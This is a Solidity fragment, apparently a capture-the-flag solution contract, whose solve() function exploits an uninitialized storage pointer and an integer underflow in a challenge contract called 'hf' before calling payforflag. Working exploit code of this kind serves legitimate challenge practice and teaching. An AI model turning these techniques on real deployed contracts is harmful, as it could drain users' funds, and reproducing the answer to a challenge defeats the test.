interface Ihf { function balanceOf(address) external returns(uint); function payforflag(string b64email) public; function ubw() public payable; function fate(address,uint) public; }
function solve() public payable { // The node0 has not been initialized yet, so we can change the slot0:'secret' // msg.value should be 2 ether or more _hf.ubw.value(msg.value)(); // the money to send can be any expect address(this) _hf.fate(address(0), 1); // underflow _hf.payforflag("successfully"); }
function getBalance() public view returns(uint256){ uint256 balance = _hf.balanceOf(address(this)); return balance; }
function() external payable {} // attention!!!! solve() will revert without this!!! }